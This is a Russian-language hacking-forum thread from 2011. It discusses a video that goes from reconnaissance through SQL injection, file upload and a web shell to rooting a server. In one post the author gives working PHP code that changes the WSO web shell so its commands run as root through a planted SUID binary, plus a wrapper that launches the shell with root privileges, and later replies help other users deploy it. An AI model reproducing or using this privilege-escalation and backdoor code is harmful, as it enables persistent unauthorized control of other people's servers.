От сбора инфы до r00t`a

Discussion in 'Video.Antichat' started by ~d0s~, 29 Mar 2011.

  1. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Собственно о чем сабж.
    Мы начнем от сбора инфы и закончем рутом.
    - Находим пхпинфо, отмечаем некоторые директивы
    - Находим читалку файлов
    - Находим sql-инъекцию в update запросе, крутим с помощью вывода в ошибке
    - Находим произвольную заливку файлов, заливаем шелл
    - Рутаем сервер, заливаем суидник, правим функцию исполнения в всо
    В видео не вошли некоторые моменты типо протачивания, протроянивания и анализа других файлов.
    http://www.youtube.com/watch?v=r4mibQc5-s4
    http://www.multiupload.com/3XJC5E5WW7
     
    16 people like this.
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    ядро 2006

    админ умер чтоле :)
     
    _________________________
    2 people like this.
  3. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    ~d0s~ Молодец, это уже второе твоё видео.
     
  4. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    доса в роа одназначна
     
  5. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,027
    Likes Received:
    311
    Reputations:
    86
    Сайт-то бажный до ужаса.
    Ну так плюсы за работу.
     
    _________________________
  6. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Удтверждение "найти уязвимый сайт" не соотвествует действительности, а соответствует абсурду(либо вы не смотрели видео, либо еще что-то), ибо надо сказать "поиск уязвимостей на сайте и в коде".
    А ну если для вас найденный пхпинфо(а именно с этого началось видео) это уже супербажный сайт, то...
    Хотя впрочем, это ваше право называть слоном таракана и наоборот=\
    То, что сайт бажный никто как бы и не отрицал. Но эти баги вылились уже в ходе анализа.
     
    #6 ~d0s~, 30 Mar 2011
    Last edited: 30 Mar 2011
    1 person likes this.
  7. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    188
    Likes Received:
    430
    Reputations:
    567
    да, действительно. ТС уже не раз показал свои знания и навыки. Он являет собой в этом плане достойный пример для остальных. Мое имхо.
    У него неплохие показатели, но вот ЭТО не укладывается ни в какие рамки. Будь моя воля, я бы закрыл для таких дорогу в группы навсегда. знания и активность не идут ни в какое сравнение с порядочностью. последнее это не приобретаемое качество по жизни!
    Сама идея записи видео - не бросить понт типа взлома ВК или другого миллионника(это безусловно красиво и интересно посмотреть, но не более), а в том, чтобы показать сам процесс взлома, чем подробнее и доступней преподнесен материал, тем большая польза от этого видео. Наша цель пребывания на Античате - научиться работать с уязвимостями, кто-то умеет и знает больше, кто-то меньше, это форум(общение) и главная его функция это обмен информацией между пользователями, где информация - знания!

    UPD:
    видео не претендует на конкурс, и пусть он похекал собственный сайт с искусственно созданными уязвимостями, это не имеет значения, ибо видео служит для познавательных целей, а значит, на нем может быть искусственно смоделированная ситуация. повторюсь, главное что он показал на видео, а не сайт который он поимел.

    Ну а если уж детально разобраться, то, чтоб создать уязвимость, надо знать php+sql как минимум, далее, надо представлять как эксплуатируется сей баг, надо составить четкий план взлома, понять, как это будет выглядеть, оценить насколько эта картина будет познавательна и полезна.Чем данное видео тебя конкретно не устраивает? опуская тот факт, что он админ покеханного сайта/купил к нему доступ или взломал чужой проект и не владел/видел его исходников.

    UPD_2# :
    Хватит флудить и оффтопить. Обсуждения только по теме видео и не более. Следующий флудераст который объявится в топике получит БАН.
     
    #7 [Dark Green], 30 Mar 2011
    Last edited: 30 Mar 2011
    11 people like this.
  8. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    порядочность - это чушь. прaвилa нужны тeм, кто бeз них остaнeтся в проигрaшe.
    по поводу видeо:
    нe плохо, но вeсьмa стaндaртнп. зaчaстую, путь горaздо тeрнистee, я увeрeн, что тс и сaм это знaeт. но eсли откинуть всe это - молодeц!
     
    2 people like this.
  9. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    php 5 и register_globals = on это что-то)) да и ядро 2006 года сборки тоже. В целом видео хорошее. А вообще пугает реальность, я помню античат еще года с 2002 читал, раньше взлом был это когда в чат пишеш хтмл-тэгами а сейчас сервера рутают, интересно что будет дальше.
    ЗЫ Видео скачал в коллекцию =)
     
  10. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    почитал первые темы ачата..) ех...куда делась молодость =(
     
  11. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Насчет, рутового шелла, то тут возможны варианты.
    1.) Исполнение команд из под рута в всо
    Ну думаю тут все понятно, правим функцию исполнения в всо, чтоб они выполнялись через суидник.
    PHP:
    function wsoEx($in) {
        
    $root "/tmp/suid d0s '".$in."'";
        
    $out '';
        if (
    function_exists('exec')) {
            @
    exec($root,$out);
            
    $out = @join("\n",$out);
        } elseif (
    function_exists('passthru')) {
            
    ob_start();
            @
    passthru($root);
            
    $out ob_get_clean();
        } elseif (
    function_exists('system')) {
            
    ob_start();
            @
    system($root);
            
    $out ob_get_clean();
        } elseif (
    function_exists('shell_exec')) {
            
    $out shell_exec($root);
        } elseif (
    is_resource($f = @popen($root,"r"))) {
            
    $out "";
            while(!@
    feof($f))
                
    $out .= fread($f,1024);
            
    pclose($f);
        }
        return 
    $out;
    }
    Где, как не трудно догадаться /tmp/suid наш суидник, а d0s пароль.
    В итоге, получаем исполнение команд из под рута в всо.

    2.)Шелл из под рута
    Оболочка, запускающая шелл
    PHP:
    <?php
      $root 
    "/tmp/suid d0s \"php /tmp/wso2.php '".base64_encode(serialize($_POST))."' '".base64_encode(serialize($_SERVER))."'\"";
      @
    system($root);
    ?>
    Где суидник, пасс и путь к нашему всо, а также сериализованные массивы в виде аргументов.
    Соотвественно, в всо в самое начала добавляем ансериализацию и декод аргументов. И комментируем пасс.
    PHP:
    $_POST unserialize(base64_decode($argv[1]));
    $_SERVER unserialize(base64_decode($argv[2]));
    Итог
    [​IMG]
     
    #11 ~d0s~, 17 Apr 2011
    Last edited: 17 Apr 2011
    4 people like this.
  12. sevenup

    sevenup Member

    Joined:
    4 Oct 2009
    Messages:
    100
    Likes Received:
    17
    Reputations:
    7
    Если не трудно, подскажи пожалуйста куда именно вот эту часть кода вставлять...что-то не могу понять :(
     
  13. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Создай файл и помести в видную из под веба папку. И добавь авторизацию любую.
     
  14. sevenup

    sevenup Member

    Joined:
    4 Oct 2009
    Messages:
    100
    Likes Received:
    17
    Reputations:
    7
    Заметил такую особенность, если в консоли вводишь команду: whereis php
    И получаешь нормальный ответ(php: путь к интерпретатору php) то wso работает через оболочку!
    а если в ответ на команду: whereis php получаешь ответ:
    [​IMG]
    то после ввода пароля в оболочке получаешь не рут шелл а белый экран...

    2 ~d0s~
    Если не трудно, можете подсказать что делать в этом случае ? можно как-то заставить работать на таких серверах ?
     
  15. r3m0te

    r3m0te Banned

    Joined:
    29 Apr 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Дос катапультировался в другое пространство, если есть вопросы стучи к нему в аську.
     
  16. sevenup

    sevenup Member

    Joined:
    4 Oct 2009
    Messages:
    100
    Likes Received:
    17
    Reputations:
    7
    Стукнул - он подтвердил авторизацию...и всё )) не на одно сообщение я ответа не получил :)